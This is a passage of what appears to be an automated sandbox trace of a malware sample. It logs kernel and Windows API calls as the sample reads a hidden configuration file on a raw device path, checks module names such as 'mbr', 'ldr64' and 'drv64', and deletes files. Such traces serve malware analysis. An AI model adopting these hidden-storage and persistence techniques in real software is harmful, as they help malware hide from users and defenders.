FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.483] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d94000 [0119.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.483] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.483] IdePortDispatch () returned 0x103 [0119.483] KeWaitForMutexObject () returned 0x0 [0119.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.483] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.483] IdePortDispatch () returned 0x103 [0119.484] KeWaitForMutexObject () returned 0x0 [0119.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.484] KeLeaveCriticalRegion () [0119.484] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.484] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.484] KeEnterCriticalRegion () [0119.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.484] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.484] KeLeaveCriticalRegion () [0119.484] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.484] KeEnterCriticalRegion () [0119.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.484] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.484] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.484] KeLeaveCriticalRegion () [0119.484] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.484] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.484] KeEnterCriticalRegion () [0119.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.484] ExFreePoolWithTag (P=0xfffffa8003baf9e0, Tag=0x0) [0119.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.484] KeLeaveCriticalRegion () [0119.484] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.485] ReleaseMutex (hMutex=0xf0) returned 1 [0119.485] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.485] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.485] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.485] KeEnterCriticalRegion () [0119.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.485] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.485] IdePortDispatch () returned 0x103 [0119.485] KeWaitForMutexObject () returned 0x0 [0119.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.485] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.485] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.485] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.485] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.485] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c8540 [0119.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.485] KeLeaveCriticalRegion () [0119.485] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.485] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.485] KeEnterCriticalRegion () [0119.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.485] KeLeaveCriticalRegion () [0119.485] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.485] KeEnterCriticalRegion () [0119.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.485] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.485] IdePortDispatch () returned 0x103 [0119.486] KeWaitForMutexObject () returned 0x0 [0119.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.486] KeLeaveCriticalRegion () [0119.486] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.486] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.486] KeEnterCriticalRegion () [0119.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d95000 [0119.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.486] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.486] IdePortDispatch () returned 0x103 [0119.486] KeWaitForMutexObject () returned 0x0 [0119.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.486] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.486] IdePortDispatch () returned 0x103 [0119.486] KeWaitForMutexObject () returned 0x0 [0119.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.486] KeLeaveCriticalRegion () [0119.487] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.487] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.487] KeEnterCriticalRegion () [0119.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.487] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.487] KeLeaveCriticalRegion () [0119.487] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.487] KeEnterCriticalRegion () [0119.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.487] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.487] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.487] KeLeaveCriticalRegion () [0119.487] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.487] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.487] KeEnterCriticalRegion () [0119.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.487] ExFreePoolWithTag (P=0xfffffa80039c8540, Tag=0x0) [0119.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.487] KeLeaveCriticalRegion () [0119.487] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.487] ReleaseMutex (hMutex=0xf0) returned 1 [0119.487] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.487] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.487] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.488] KeEnterCriticalRegion () [0119.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.488] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.488] IdePortDispatch () returned 0x103 [0119.488] KeWaitForMutexObject () returned 0x0 [0119.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.488] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.488] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.488] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.488] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.488] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1a40 [0119.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.488] KeLeaveCriticalRegion () [0119.488] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.488] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.488] KeEnterCriticalRegion () [0119.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.488] KeLeaveCriticalRegion () [0119.488] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.488] KeEnterCriticalRegion () [0119.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.488] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.488] IdePortDispatch () returned 0x103 [0119.488] KeWaitForMutexObject () returned 0x0 [0119.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.489] KeLeaveCriticalRegion () [0119.489] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.489] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.489] KeEnterCriticalRegion () [0119.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d96000 [0119.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.489] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.489] IdePortDispatch () returned 0x103 [0119.489] KeWaitForMutexObject () returned 0x0 [0119.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.489] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.489] IdePortDispatch () returned 0x103 [0119.489] KeWaitForMutexObject () returned 0x0 [0119.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.489] KeLeaveCriticalRegion () [0119.489] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.490] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.490] KeEnterCriticalRegion () [0119.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.490] KeLeaveCriticalRegion () [0119.490] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.490] KeEnterCriticalRegion () [0119.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.490] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.490] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.490] KeLeaveCriticalRegion () [0119.490] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.490] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.490] KeEnterCriticalRegion () [0119.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.490] ExFreePoolWithTag (P=0xfffffa8003aa1a40, Tag=0x0) [0119.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.490] KeLeaveCriticalRegion () [0119.490] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.490] ReleaseMutex (hMutex=0xf0) returned 1 [0119.490] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.490] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.490] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.490] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.490] KeEnterCriticalRegion () [0119.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.491] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.491] IdePortDispatch () returned 0x103 [0119.491] KeWaitForMutexObject () returned 0x0 [0119.491] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.491] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.491] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.491] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.491] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.491] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.491] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.491] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.491] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.491] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.491] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.491] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.491] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.491] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.491] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.491] KeLeaveCriticalRegion () [0119.491] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.491] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.491] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.491] KeEnterCriticalRegion () [0119.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.491] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.491] IdePortDispatch () returned 0x103 [0119.491] KeWaitForMutexObject () returned 0x0 [0119.492] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.492] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.492] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.492] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.492] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.492] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.492] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.492] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.492] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.492] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.492] KeLeaveCriticalRegion () [0119.492] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.492] ReleaseMutex (hMutex=0x100) returned 1 [0119.492] Sleep (dwMilliseconds=0x2bf20) [0119.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a6bbc50, dwHighDateTime=0x1d24fa4)) [0119.498] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.498] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.498] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.498] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.498] KeEnterCriticalRegion () [0119.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, 